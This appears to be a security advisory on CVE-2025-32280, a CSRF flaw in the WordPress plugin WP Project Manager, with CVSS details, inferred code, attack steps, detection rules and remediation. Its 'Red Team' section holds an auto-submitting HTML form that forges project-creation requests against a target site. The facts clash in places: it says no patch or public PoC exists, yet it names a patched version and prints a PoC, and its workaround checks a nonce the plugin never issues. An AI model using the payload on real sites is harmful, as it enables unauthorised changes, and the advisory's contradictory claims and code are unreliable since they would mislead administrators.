CVE-2025-32280

Executive Summary

CVE-2025-32280 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin "WP Project Manager" by weDevs. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying project settings or creating unauthorized projects, without their consent. The vulnerability affects all versions from n/a through 2.6.24. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are affected. No supply chain compromise has been identified, but the lack of a patch increases the risk of malicious actors injecting CSRF payloads into sites running vulnerable versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link or visit a malicious page)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (attacker can modify project data)
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for chaining with other vulnerabilities (e.g., stored XSS) could elevate the risk.

Deep Dive & Mechanics

The vulnerability exists in the CSRF protection mechanism of the WP Project Manager plugin. The plugin fails to validate or include a nonce token in critical state-changing requests, such as creating, updating, or deleting projects, tasks, or milestones. An attacker can craft a malicious HTML page or email that, when visited by an authenticated administrator, triggers a forged request to the WordPress admin-ajax.php endpoint. Since the request appears to come from the victim's browser, the server processes it as legitimate.

Root Cause: The plugin does not implement WordPress's built-in wp_nonce_field() or check_admin_referer() functions for AJAX actions related to project management. This allows any authenticated user (or an attacker leveraging a victim's session) to perform actions without proper authorization.

Attack Flow:

1. Attacker identifies a target site running WP Project Manager < 2.6.25.
2. Attacker crafts a CSRF payload (e.g., an HTML form that auto-submits to admin-ajax.php?action=pm_create_project).
3. Attacker lures an authenticated admin to visit the malicious page (via phishing, social engineering, or XSS).
4. The victim's browser sends the forged request, including their session cookies.
5. The server processes the request, creating a new project or modifying existing data.

Vulnerable vs. Patched Code

Since no official patch is available, we can only infer the fix based on common CSRF mitigation patterns.

Vulnerable Code (hypothetical):

// In vulnerable version (e.g., 2.6.24)
add_action('wp_ajax_pm_create_project', 'pm_create_project_handler');
function pm_create_project_handler() {
    // No nonce check
    $project_name = sanitize_text_field($_POST['name']);
    // ... create project
    wp_send_json_success($project_id);
}

Patched Code (expected):

// In patched version (>= 2.6.25)
add_action('wp_ajax_pm_create_project', 'pm_create_project_handler');
function pm_create_project_handler() {
    // Nonce verification added
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'pm_create_project_nonce')) {
        wp_send_json_error('Invalid nonce');
        return;
    }
    $project_name = sanitize_text_field($_POST['name']);
    // ... create project
    wp_send_json_success($project_id);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with WP Project Manager < 2.6.25 installed and an active admin session.
• A victim admin user who will click the malicious link.

Step 1: Craft the CSRF Payload Create an HTML file (csrf.html) that auto-submits a form to create a new project:

<html>
<body>
<form id="csrf" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="pm_create_project">
    <input type="hidden" name="name" value="Malicious Project">
    <input type="hidden" name="description" value="Created via CSRF">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Step 2: Host and Deliver Host the file on an attacker-controlled server and send the link to the victim via email or social engineering.

Step 3: Verify After the victim visits the link, check the WordPress admin panel for the new project.

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected AJAX requests to admin-ajax.php with actions like pm_create_project, pm_update_project, or pm_delete_project.
• Look for requests with missing or invalid _wpnonce parameters.
• Use the Sigma rule below to detect CSRF attempts.

Defense:

• Apply the patch immediately when available.
• Implement additional CSRF protections using WordPress nonces.
• Use Web Application Firewall (WAF) rules to block requests to admin-ajax.php without a valid referer or nonce.
• Educate administrators about phishing risks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action=pm_create_project or similar.
  • Referer header pointing to an external domain (e.g., attacker-controlled site).
• File IOCs:
  • Unexpected project entries in the WordPress database (wp_pm_projects table).
• Log IOCs:
  • WordPress debug log entries showing failed nonce checks (if logging is enabled).

Detection Engineering

YARA Rule

rule Detect_CSRF_WP_Project_Manager {
    meta:
        description = "Detects CSRF attempts against WP Project Manager plugin"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-32280"
    strings:
        $ajax_action = "pm_create_project" nocase
        $ajax_action2 = "pm_update_project" nocase
        $ajax_action3 = "pm_delete_project" nocase
        $nonce_missing = "_wpnonce" nocase
    condition:
        any of ($ajax_action*) and not $nonce_missing
}

Sigma Rule

title: CSRF Attempt Against WP Project Manager
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSRF attempts targeting WP Project Manager plugin (CVE-2025-32280)
author: Valters IT
date: 2025/04/17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=pm_'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate plugin AJAX requests with nonce
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-32280 CSRF Attempt Against WP Project Manager"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-ajax.php"; http.client_body; content:"action=pm_"; pcre:"/action=pm_(create|update|delete)_project/"; content:!"_wpnonce"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block AJAX requests to admin-ajax.php that lack a valid nonce.
3. Restrict admin access to trusted IP addresses and enforce strong authentication.

Long-Term Fix:

• Apply the vendor patch when available (expected in version 2.6.25 or later).
• Conduct a security audit of all WordPress plugins for similar CSRF issues.
• Enable WordPress's built-in CSRF protection by using wp_nonce_field() and check_admin_referer() in all custom AJAX handlers.

Workaround:

• Add a custom function to your theme's functions.php to validate nonces for all pm_ AJAX actions:

add_action('wp_ajax_pm_create_project', 'pm_csrf_check', 1);
function pm_csrf_check() {
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'pm_nonce')) {
        wp_die('CSRF validation failed');
    }
}

Valters IT
Securing WordPress Ecosystems